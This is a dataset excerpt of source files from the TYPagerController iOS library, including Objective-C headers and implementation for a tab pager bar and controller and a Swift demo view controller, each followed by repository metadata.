- (void)pagerTabBar:(TYTabPagerBar *)pagerTabBar configureLayout:(TYTabPagerBarLayout *)layout;
// if cell wdith is not variable,you can set layout.cellWidth. otherwise ,you can implement this return cell width. cell width not contain cell edge
- (CGFloat)pagerTabBar:(TYTabPagerBar *)pagerTabBar widthForItemAtIndex:(NSInteger)index;
// did select cell item
- (void)pagerTabBar:(TYTabPagerBar *)pagerTabBar didSelectItemAtIndex:(NSInteger)index;
// transition frome cell to cell with animated
- (void)pagerTabBar:(TYTabPagerBar *)pagerTabBar transitionFromeCell:(UICollectionViewCell<TYTabPagerBarCellProtocol> * _Nullable)fromCell toCell:(UICollectionViewCell<TYTabPagerBarCellProtocol> * _Nullable)toCell animated:(BOOL)animated;
// transition frome cell to cell with progress
- (void)pagerTabBar:(TYTabPagerBar *)pagerTabBar transitionFromeCell:(UICollectionViewCell<TYTabPagerBarCellProtocol> * _Nullable)fromCell toCell:(UICollectionViewCell<TYTabPagerBarCellProtocol> * _Nullable)toCell progress:(CGFloat)progress;
@end
@interface TYTabPagerBar : UIView
@property (nonatomic, weak, readonly) UICollectionView *collectionView;
@property (nonatomic, strong) UIView *progressView;
// automatically resized to self.bounds
@property (nonatomic, strong) UIView *backgroundView;
@property (nonatomic, weak, nullable) id<TYTabPagerBarDataSource> dataSource;
@property (nonatomic, weak, nullable) id<TYTabPagerBarDelegate> delegate;
@property (nonatomic, strong) TYTabPagerBarLayout *layout;
@property (nonatomic, assign) BOOL autoScrollItemToCenter;
@property (nonatomic, assign, readonly) NSInteger countOfItems;
@property (nonatomic, assign, readonly) NSInteger curIndex;
@property (nonatomic, assign) UIEdgeInsets contentInset;
- (void)registerClass:(Class)Class forCellWithReuseIdentifier:(NSString *)identifier;
- (void)registerNib:(UINib *)nib forCellWithReuseIdentifier:(NSString *)identifier;
- (__kindof UICollectionViewCell<TYTabPagerBarCellProtocol> *)dequeueReusableCellWithReuseIdentifier:(NSString *)identifier forIndex:(NSInteger)index;
- (void)reloadData;
- (void)scrollToItemFromIndex:(NSInteger)fromIndex toIndex:(NSInteger)toIndex animate:(BOOL)animate;
- (void)scrollToItemFromIndex:(NSInteger)fromIndex toIndex:(NSInteger)toIndex progress:(CGFloat)progress;
- (void)scrollToItemAtIndex:(NSInteger)index atScrollPosition:(UICollectionViewScrollPosition)scrollPosition animated:(BOOL)animated;
- (CGFloat)cellWidthForTitle:(NSString * _Nullable)title;
- (CGRect)cellFrameWithIndex:(NSInteger)index;
- (nullable UICollectionViewCell<TYTabPagerBarCellProtocol> *)cellForIndex:(NSInteger)index;
@end
NS_ASSUME_NONNULL_END
```
|
/content/code_sandbox/TYPagerControllerDemo/TYPagerController/TabPager/TYTabPagerBar.h
|
objective-c
| 2016-05-18T14:23:06
| 2024-07-24T04:09:28
|
TYPagerController
|
12207480/TYPagerController
| 1,373
| 745
|
```objective-c
//
// TYTabPagerController.h
// TYPagerControllerDemo
//
// Created by tanyang on 2017/7/18.
//
#import <UIKit/UIKit.h>
#import "TYTabPagerBar.h"
#import "TYPagerController.h"
NS_ASSUME_NONNULL_BEGIN
@class TYTabPagerController;
@protocol TYTabPagerControllerDataSource <NSObject>
- (NSInteger)numberOfControllersInTabPagerController;
- (UIViewController *)tabPagerController:(TYTabPagerController *)tabPagerController controllerForIndex:(NSInteger)index prefetching:(BOOL)prefetching;
- (NSString *)tabPagerController:(TYTabPagerController *)tabPagerController titleForIndex:(NSInteger)index;
@end
@protocol TYTabPagerControllerDelegate <NSObject>
@optional
// display cell
- (void)tabPagerController:(TYTabPagerController *)tabPagerController willDisplayCell:(UICollectionViewCell<TYTabPagerBarCellProtocol> *)cell atIndex:(NSInteger)index;
// did select cell item
- (void)tabPagerController:(TYTabPagerController *)tabPagerController didSelectTabBarItemAtIndex:(NSInteger)index;
// scrolling
- (void)tabPagerControllerWillBeginScrolling:(TYTabPagerController *)tabPagerController animate:(BOOL)animate;
- (void)tabPagerControllerDidEndScrolling:(TYTabPagerController *)tabPagerController animate:(BOOL)animate;
@end
@interface TYTabPagerController : UIViewController
@property (nonatomic, strong, readonly) TYTabPagerBar *tabBar;
@property (nonatomic, strong, readonly) TYPagerController *pagerController;
@property (nonatomic, strong, readonly) TYPagerViewLayout<UIViewController *> *layout;
@property (nonatomic, weak, nullable) id<TYTabPagerControllerDataSource> dataSource;
@property (nonatomic, weak, nullable) id<TYTabPagerControllerDelegate> delegate;
// you can custom tabBar orignY and height.
@property (nonatomic, assign) CGFloat tabBarOrignY;
@property (nonatomic, assign) CGFloat tabBarHeight;
// register tabBar cell
- (void)registerClass:(Class)Class forTabBarCellWithReuseIdentifier:(NSString *)identifier;
- (void)registerNib:(UINib *)nib forTabBarCellWithReuseIdentifier:(NSString *)identifier;
// register && dequeue pager Cell, usage like tableView
- (void)registerClass:(Class)Class forPagerCellWithReuseIdentifier:(NSString *)identifier;
- (void)registerNib:(UINib *)nib forPagerCellWithReuseIdentifier:(NSString *)identifier;
- (UIViewController *)dequeueReusablePagerCellWithReuseIdentifier:(NSString *)identifier forIndex:(NSInteger)index;
- (void)scrollToControllerAtIndex:(NSInteger)index animate:(BOOL)animate;
- (void)updateData;
- (void)reloadData;
@end
NS_ASSUME_NONNULL_END
```
|
/content/code_sandbox/TYPagerControllerDemo/TYPagerController/TabPager/TYTabPagerController.h
|
objective-c
| 2016-05-18T14:23:06
| 2024-07-24T04:09:28
|
TYPagerController
|
12207480/TYPagerController
| 1,373
| 575
|
```objective-c
//
// TYTabPagerController.m
// TYPagerControllerDemo
//
// Created by tanyang on 2017/7/18.
//
#import "TYTabPagerController.h"
@interface TYTabPagerController ()<TYTabPagerBarDataSource,TYTabPagerBarDelegate,TYPagerControllerDataSource,TYPagerControllerDelegate>
// UI
@property (nonatomic, strong) TYTabPagerBar *tabBar;
@property (nonatomic, strong) TYPagerController *pagerController;
// Data
@property (nonatomic, strong) NSString *identifier;
@end
#define kTabBarOrignY -999999
@implementation TYTabPagerController
- (instancetype)initWithCoder:(NSCoder *)aDecoder {
if (self = [super initWithCoder:aDecoder]) {
_tabBarHeight = 36;
_tabBarOrignY = kTabBarOrignY;
}
return self;
}
- (instancetype)initWithNibName:(NSString *)nibNameOrNil bundle:(NSBundle *)nibBundleOrNil {
if (self = [super initWithNibName:nibNameOrNil bundle:nibBundleOrNil]) {
_tabBarHeight = 36;
_tabBarOrignY = kTabBarOrignY;
}
return self;
}
- (void)viewDidLoad {
[super viewDidLoad];
// Do any additional setup after loading the view.
self.view.backgroundColor = [UIColor whiteColor];
[self addTabBar];
[self addPagerController];
}
- (void)addTabBar {
self.tabBar.dataSource = self;
self.tabBar.delegate = self;
[self registerClass:[TYTabPagerBarCell class] forTabBarCellWithReuseIdentifier:[TYTabPagerBarCell cellIdentifier]];
[self.view addSubview:self.tabBar];;
}
- (void)addPagerController {
self.pagerController.dataSource = self;
self.pagerController.delegate = self;
[self addChildViewController:self.pagerController];
[self.view addSubview:self.pagerController.view];
}
- (void)viewWillLayoutSubviews {
[super viewWillLayoutSubviews];
CGFloat orignY = [self fixedTabBarOriginY];
self.tabBar.frame = CGRectMake(0, orignY, CGRectGetWidth(self.view.frame), _tabBarHeight);
self.pagerController.view.frame = CGRectMake(0, orignY+_tabBarHeight, CGRectGetWidth(self.view.frame), CGRectGetHeight(self.view.frame) - _tabBarHeight-orignY);
}
- (CGFloat)fixedTabBarOriginY {
if (_tabBarOrignY > kTabBarOrignY) {
return _tabBarOrignY;
}
if (!self.navigationController || self.parentViewController != self.navigationController) {
return 0;
}
if (self.navigationController.navigationBarHidden || !(self.edgesForExtendedLayout&UIRectEdgeTop)) {
return 0;
}
return CGRectGetMaxY(self.navigationController.navigationBar.frame);
}
#pragma mark - getter setter
- (TYTabPagerBar *)tabBar {
if (!_tabBar) {
_tabBar = [[TYTabPagerBar alloc]init];
}
return _tabBar;
}
- (void)setTabBarOrignY:(CGFloat)tabBarOrignY {
BOOL isChangeValue = _tabBarOrignY != tabBarOrignY;
_tabBarOrignY = tabBarOrignY;
if (isChangeValue && _tabBar.superview) {
[self.view layoutIfNeeded];
}
}
- (void)setTabBarHeight:(CGFloat)tabBarHeight {
BOOL isChangeValue = _tabBarHeight != tabBarHeight;
_tabBarHeight = tabBarHeight;
if (isChangeValue && _tabBar.superview) {
[self.view layoutIfNeeded];
}
}
- (TYPagerController *)pagerController {
if (!_pagerController) {
_pagerController = [[TYPagerController alloc]init];
}
return _pagerController;
}
- (TYPagerViewLayout<UIViewController *> *)layout {
return self.pagerController.layout;
}
#pragma mark - public
- (void)updateData {
[self.tabBar reloadData];
[self.pagerController updateData];
}
- (void)reloadData {
[self.tabBar reloadData];
[self.pagerController reloadData];
}
- (void)scrollToControllerAtIndex:(NSInteger)index animate:(BOOL)animate {
[self.pagerController scrollToControllerAtIndex:index animate:animate];
}
- (void)registerClass:(Class)Class forTabBarCellWithReuseIdentifier:(NSString *)identifier {
_identifier = identifier;
[self.tabBar registerClass:Class forCellWithReuseIdentifier:identifier];
}
- (void)registerNib:(UINib *)nib forTabBarCellWithReuseIdentifier:(NSString *)identifier {
_identifier = identifier;
[self.tabBar registerNib:nib forCellWithReuseIdentifier:identifier];
}
- (void)registerClass:(Class)Class forPagerCellWithReuseIdentifier:(NSString *)identifier {
[_pagerController registerClass:Class forControllerWithReuseIdentifier:identifier];
}
- (void)registerNib:(UINib *)nib forPagerCellWithReuseIdentifier:(NSString *)identifier {
[_pagerController registerNib:nib forControllerWithReuseIdentifier:identifier];
}
- (UIViewController *)dequeueReusablePagerCellWithReuseIdentifier:(NSString *)identifier forIndex:(NSInteger)index {
return [_pagerController dequeueReusableControllerWithReuseIdentifier:identifier forIndex:index];
}
#pragma mark - TYTabPagerBarDataSource
- (NSInteger)numberOfItemsInPagerTabBar {
return [_dataSource numberOfControllersInTabPagerController];
}
- (UICollectionViewCell<TYTabPagerBarCellProtocol> *)pagerTabBar:(TYTabPagerBar *)pagerTabBar cellForItemAtIndex:(NSInteger)index {
UICollectionViewCell<TYTabPagerBarCellProtocol> *cell = [pagerTabBar dequeueReusableCellWithReuseIdentifier:_identifier forIndex:index];
cell.titleLabel.text = [_dataSource tabPagerController:self titleForIndex:index];
if ([_delegate respondsToSelector:@selector(tabPagerController:willDisplayCell:atIndex:)]) {
[_delegate tabPagerController:self willDisplayCell:cell atIndex:index];
}
return cell;
}
#pragma mark - TYTabPagerBarDelegate
- (CGFloat)pagerTabBar:(TYTabPagerBar *)pagerTabBar widthForItemAtIndex:(NSInteger)index {
NSString *title = [_dataSource tabPagerController:self titleForIndex:index];
return [pagerTabBar cellWidthForTitle:title];
}
- (void)pagerTabBar:(TYTabPagerBar *)pagerTabBar didSelectItemAtIndex:(NSInteger)index {
[_pagerController scrollToControllerAtIndex:index animate:YES];
if ([_delegate respondsToSelector:@selector(tabPagerController:didSelectTabBarItemAtIndex:)]) {
[_delegate tabPagerController:self didSelectTabBarItemAtIndex:index];
}
}
#pragma mark - TYPagerControllerDataSource
- (NSInteger)numberOfControllersInPagerController {
return [_dataSource numberOfControllersInTabPagerController];
}
- (UIViewController *)pagerController:(TYPagerController *)pagerController controllerForIndex:(NSInteger)index prefetching:(BOOL)prefetching {
UIViewController *viewController = [_dataSource tabPagerController:self controllerForIndex:index prefetching:prefetching];
return viewController;
}
#pragma mark - TYPagerControllerDelegate
- (void)pagerController:(TYPagerController *)pagerController transitionFromIndex:(NSInteger)fromIndex toIndex:(NSInteger)toIndex animated:(BOOL)animated {
[self.tabBar scrollToItemFromIndex:fromIndex toIndex:toIndex animate:animated];
}
-(void)pagerController:(TYPagerController *)pagerController transitionFromIndex:(NSInteger)fromIndex toIndex:(NSInteger)toIndex progress:(CGFloat)progress {
[self.tabBar scrollToItemFromIndex:fromIndex toIndex:toIndex progress:progress];
}
- (void)pagerControllerWillBeginScrolling:(TYPagerController *)pagerController animate:(BOOL)animate {
if ([_delegate respondsToSelector:@selector(tabPagerControllerWillBeginScrolling:animate:)]) {
[_delegate tabPagerControllerWillBeginScrolling:self animate:animate];
}
}
- (void)pagerControllerDidEndScrolling:(TYPagerController *)pagerController animate:(BOOL)animate {
if ([_delegate respondsToSelector:@selector(tabPagerControllerDidEndScrolling:animate:)]) {
[_delegate tabPagerControllerDidEndScrolling:self animate:animate];
}
}
- (void)didReceiveMemoryWarning {
[super didReceiveMemoryWarning];
// Dispose of any resources that can be recreated.
}
@end
```
|
/content/code_sandbox/TYPagerControllerDemo/TYPagerController/TabPager/TYTabPagerController.m
|
objective-c
| 2016-05-18T14:23:06
| 2024-07-24T04:09:28
|
TYPagerController
|
12207480/TYPagerController
| 1,373
| 1,763
|
```swift
//
// TabPagerViewDemoController.swift
// TYPagerControllerDemo_swift
//
// Created by tany on 2017/7/19.
//
import UIKit
class TabPagerViewDemoController: UIViewController {
lazy var pagerView = TYTabPagerView()
lazy var datas = [String]()
override func viewDidLoad() {
super.viewDidLoad()
// Do any additional setup after loading the view, typically from a nib.
self.view.backgroundColor = UIColor.white
addTabPagerView()
loadData()
}
func addTabPagerView() {
self.pagerView.tabBarHeight = 40
self.pagerView.dataSource = self
self.pagerView.delegate = self
// you can rigsiter cell like tableView
self.pagerView.register(UIView.classForCoder(), forPagerCellWithReuseIdentifier: "cellId");
self.view.addSubview(self.pagerView)
}
func loadData() {
var i = 0
while i < 20 {
self.datas.append(i%2==0 ?"Tab \(i)":"Tab Tab \(i)")
i += 1
}
self.pagerView.reloadData()
}
override func viewWillLayoutSubviews() {
super.viewWillLayoutSubviews();
self.pagerView.frame = CGRect(x: 0, y: 64, width: self.view.frame.width, height: self.view.frame.height - 64);
}
override func didReceiveMemoryWarning() {
super.didReceiveMemoryWarning()
// Dispose of any resources that can be recreated.
}
}
extension TabPagerViewDemoController: TYTabPagerViewDataSource, TYTabPagerViewDelegate {
func numberOfViewsInTabPagerView() -> Int {
return self.datas.count
}
func tabPagerView(_ tabPagerView: TYTabPagerView, viewFor index: Int, prefetching: Bool) -> UIView {
//you can let view = UIView() or let view = UIView(frame: tabPagerView.layout.frameForItem(at: index))
// or reigster and dequeue cell like tableView
let view = tabPagerView.dequeueReusablePagerCell(withReuseIdentifier: "cellId", for: index)
view.backgroundColor = UIColor(red: CGFloat(arc4random()%255)/255.0, green: CGFloat(arc4random()%255)/255.0, blue: CGFloat(arc4random()%255)/255.0, alpha: 1)
return view
}
func tabPagerView(_ tabPagerView: TYTabPagerView, titleFor index: Int) -> String {
let title = self.datas[index]
return title
}
}
```
|
/content/code_sandbox/TYPagerControllerDemo_swift/TabPagerViewDemoController.swift
|
swift
| 2016-05-18T14:23:06
| 2024-07-24T04:09:28
|
TYPagerController
|
12207480/TYPagerController
| 1,373
| 561
|
```objective-c
//
// TYPagerControllerDemo_swift-Brdging-Header.h
// TYPagerControllerDemo_swift
//
// Created by tany on 2017/7/19.
//
#ifndef TYPagerControllerDemo_swift_Brdging_Header_h
#define TYPagerControllerDemo_swift_Brdging_Header_h
#import "TYTabPagerView.h"
#import "TYTabPagerController.h"
#endif /* TYPagerControllerDemo_swift_Brdging_Header_h */
```
|
/content/code_sandbox/TYPagerControllerDemo_swift/TYPagerControllerDemo_swift-Brdging-Header.h
|
objective-c
| 2016-05-18T14:23:06
| 2024-07-24T04:09:28
|
TYPagerController
|
12207480/TYPagerController
| 1,373
| 104
|
End of preview. Expand
in Data Studio
README.md exists but content is empty.
- Downloads last month
- 1